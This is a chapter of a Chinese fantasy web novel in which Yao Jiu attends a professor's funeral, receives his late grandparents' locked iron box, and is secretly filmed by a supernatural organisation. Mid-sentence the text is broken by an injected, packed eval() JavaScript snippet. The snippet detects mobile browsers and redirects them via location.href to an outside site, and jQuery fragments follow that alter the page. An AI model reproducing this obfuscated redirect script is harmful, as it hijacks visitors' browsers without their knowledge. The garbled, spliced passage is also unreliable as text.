没有人能拒绝暖烘烘的被窝。
药九听着窗外狂风呼啸和暴雨拍打的声音,舒舒服服地钻进被窝,神情是少有的惬意,做完每夜的例行祷告——希望第二天不会有人打扰他,便沉沉地睡去。
药九的祷告对象是嫦娥,广寒宫多清净啊,肯定有安稳的睡眠。本来他准备信一下塞勒涅或者露娜,想来想去,还是本土的神仙比较合适。
这夜如他所愿没再发生任何事,翌日的周天也安稳度过。
他接到江立的电话是在再次的星期五下午,以为是吓唬那熊孩子,却得知江爷爷去世,吊唁在第二天举行。
药九在电话里向江立表示安慰后,次日清晨赶往江家。
从黎明起,天空就飘起细雨丝,没有停过,也没变大的趋势,城市高楼有一半都被蒙蒙的阴云笼罩。
“小九,你来这么早?”江立惊讶地握住他的手,“快跟我进来。”
药九见江家人不多,只有些亲戚,江立说吊唁还没开始,便带他到安静的地方待着。
“唉,走了也好,我爸受的苦真是够多的。”江立叹气,老人神志不清,有时候趁人不注意跑出来,很容易磕磕碰碰。
他看向穿着黑色西装的药九:“还有个事儿要谢谢你呢。”
“谢我?”
“对,飞飞那天回来后不吵不闹,不玩手机了,也不说脏话骂人,还主动做家务,好像回到六岁前听话的时候,我问他,他说你是什么大恶魔,他会好好听话的。”
药九心中惊讶,自己居然还有这种功效?不知道能不能办个暑假班,刷刷脸替家长们解决头疼的问题,应该挣不少。
江立请药九坐了会儿,就带他去看江爷爷。江爷爷退休前是大学教授,桃李满天下,吊唁必然会有很多人来,江立说到时候怕顾不上照应药九,就先让他看看。
江爷爷比药九记忆里瘦弱许多,简直成骷髅架子,不说精神失常,就是病痛折磨也够让老人难受的。
不知道是不是药九的错觉,他看着老人深深凹陷的眼眶,察觉一种别样深刻的痛苦,很多去世的人在表情上会呈现出平静,也可以说是肌肉的松弛,但眼前的老人仿佛身躯还经历着痛苦。
他看了眼出门接电话告诉某个人江家位置的江立,迟疑地抬起胳膊,轻轻握住老人的手。
手指是蜷着的,很紧,也格外的冰冷。
江立打完电话进来,药九把老人手部奇怪的事情一说,江立皱眉:“我试过了,没办法让手松开,再用力会破坏遗体,只能这样。”
他忽地想起件事,让药九跟着他走:“小九,你江爷爷是星期四晚上走的,后来我忙得团团转,差点忘记了,你江爷爷给你留了东西。”
“留给我的?”
“对,我那天回来后陪老人聊天,说起你来,说你现在一表人才,大高个儿,英俊得很。平常我说什么他都是呆滞困惑的模样,那天却神奇地追问,好像恢复了神智似的。
“不过也就那么一会儿,星期四的晚上,爸爸突然喊起你的名字,告诉我他有东西给你,说他应该很早之前就给你的,但是想不起来了,那会儿我觉得,他真的恢复了,我还想第二天带他去见见老朋友呢。”
江立带着药九来到江爷爷的卧室,跪在地上从床底下拖出一只纸箱子,里面则是只上了锁的铁盒子。
江立把铁盒子连同钥匙递给药九,犹豫着说道:“小九,我想完成老人的遗愿,你听到接下来的话别太放在心上,就当老人临死前头脑不清晰的胡言乱语。”
药九懵懵地抱着铁盒子。
江立斟酌着语句:“星期四那晚,你江爷爷抓着我说了好多话,都是跟你和你姥姥家有关的。他说你姥姥姥爷不是死于煤气中毒,是灾难,而这铁盒子是两位老人留给你的遗物。”
药九的大脑有几秒钟是停滞的。
他不可思议地看看江立,又看看手中的铁盒子,只能努力调动面部肌肉表现出内心的疑惑,却一个字也说不出。
这短短一句话带来的是晴天霹雳,姥姥姥爷不是死于煤气中毒?
姥姥和姥爷一直住在幸福市,孩子都在外省,偶尔放假才会回来。舅舅告诉药九,平常和姥姥一起跳广场舞的邻居迟迟等不到姥姥出现,就去家里敲门,怎么都没人开。
到下午的时候,邻居实在觉得不对劲,叫人一起看,门被强行撞开,浓烈的煤气味扑过来,众人这才惊觉出了事。
后来拨打120,可在那之前两位老人就不幸中毒去世,警察也来了,最后发现是老人在使用煤气灶热饭后忘记关,导致煤气泄露,而且有专业法医做过尸检报告。
总之,姥姥姥爷的死因肯定是煤气中毒,药九分析着那些话,被搞懵了,再说铁盒子是姥姥姥爷给他的遗物?打十年前江爷爷神志不清后,就很少和姥姥一家来往,总不能是两年前姥姥姥爷知道自己会意外死亡,所以把遗物交给相距甚远且精神错乱的前邻居?
玄幻小说这么写,都会被骂离谱吧。
药九想要问点什么,起码把满肚子疑惑说出来一个,但江家人越来越多,江立要去招呼客人,他只好缄默。
叮!
药九拿出手机,嘶了声,龟毛领导说有文件不太完善,要他回公司处理。
药九无奈,离开房间后,远远的,在人群外站了会儿,便离开。
吊唁来的人很多。
江逢曾是幽灵国内最大的异能者学校——壹音学校的授课教授,执生级的强者,同时是十年前那场灾难的亲历人,最后疯疯癫癫与重病缠身。
来吊唁的大多不知道江逢精神错乱的真正原因,世枢组织曾联合国内高级部门处理那场灾难的影响,因此很多人只以为江逢是自然的老死,毕竟他年纪的确大。
早晨的凉风吹斜针似的雨丝,空气里充满新鲜清澈的树木芬香,以及白菊马蹄莲等花的鲜香,吊唁者们着装郑重,表情严肃,现场的气氛是吊唁会该有的庄严。
处处是积水坑的路面散落着各种不同形状的白色花瓣,那些落在积水坑的花瓣在每次风吹过时,就摇摇晃晃。
画面中,一片洋兰花瓣被风吹过,显示出清澈的雨水坑倒映着的修长身形,穿着全黑的西装,左手执伞,右手小臂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101164|195717||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
托着一只漆黑铁盒。
黑色的大伞遮住他的脸,树叶与花瓣像雨滴似的飘落。
转身就走。
读者对这身形再熟悉不过。
[无!人!大!佬!]
[这比我命还长的腿,绝对没错了!]
[难不成江逢教授的死和无人有关?他是在清算十年前那些事情的幸存者吗?]
[十有八九,无人大佬手里的盒子应该是重要线索。]
[可怕,无人到底是哪边的?]
[亦正亦邪吗?斯哈……]
“他、他来了,”牧心指着照片,整个人如坠冰窟,“他就在现场,我们的身后,他……”
照片是从她带去的随身录像机所拍摄的画面中截取,当时她正好以世枢组织成员的身份处理完某件事,这种工作都需要实时拍摄记录。
后来参加江逢的吊唁会时忘记关闭,在路上才想起来,打算删掉无关录像,快速阅过进行备选删除时才发现不对劲。
但是牧心敢肯定,吊唁会现场没有任何异样的地方,那种属于无人的气势压迫丝毫没有,也就是说,无人隐藏全部能力,只要他想,就没有人能通过灵气探查感知到他。
无人为什么出现在吊唁会?已经精神错乱的江逢还能给他带去什么威胁麻烦不成?江逢的死又会不会和无人有关?
牧心不敢再深思,只要想到拥有毁天灭地能力的无人静静地站在众多高等级异能者的后面,静静地看着他们为因他而死的人悲伤惋惜,就止不住地颤栗。
他就站在那儿。
就……静静地站在那儿。
谁也没有发现。
“冷静点。”
组长冰凉的声音传来,如同清泉,牧心抬头,抿了抿唇,兀自调整状态。
“你未曾察觉到他,并不代表他不知晓摄像机的存在,”组长拾起那张照片,琥珀色的眼睛里充满专注和探究,“像只正在狩猎的猫,看着老鼠全部跌入陷阱。”
牧心总算定住心神:“那么组长,我们需要监护幸存者吗?”
是那场灾难的幸存者,幽灵国仅知晓的几位都是神志不清。她担心无人会对他们做些什么,在提出建议后,心里又很清楚,没有人能奈何得了无人。
“去吧。”
在牧心离开后,组长久久地凝视着照片。
到底想做什么呢?
药九到公司后,用十分钟处理完龟毛提出的问题,然后静静坐在椅子上,无论是不是加班,凡进了公司,就必须得按照公司的规定做事。
所以,即使他现在没有任何事,也得等中午下班,如果下午龟毛不恶心他一把提出什么问题的话。
药九不禁看向放在工位的铁盒子,握着钥匙,正要开启。
“呦,小九,路上买的存钱罐?真是朴实无华。”莘聆迈着轻松的步伐走来。
药九面无表情:“是我姥姥姥爷的遗物。”
“哦,那你继续看。”莘聆当即转头,又迈着轻松的步伐离开。
药九权当无事发生,打开那只看起来相当有历史感的锁。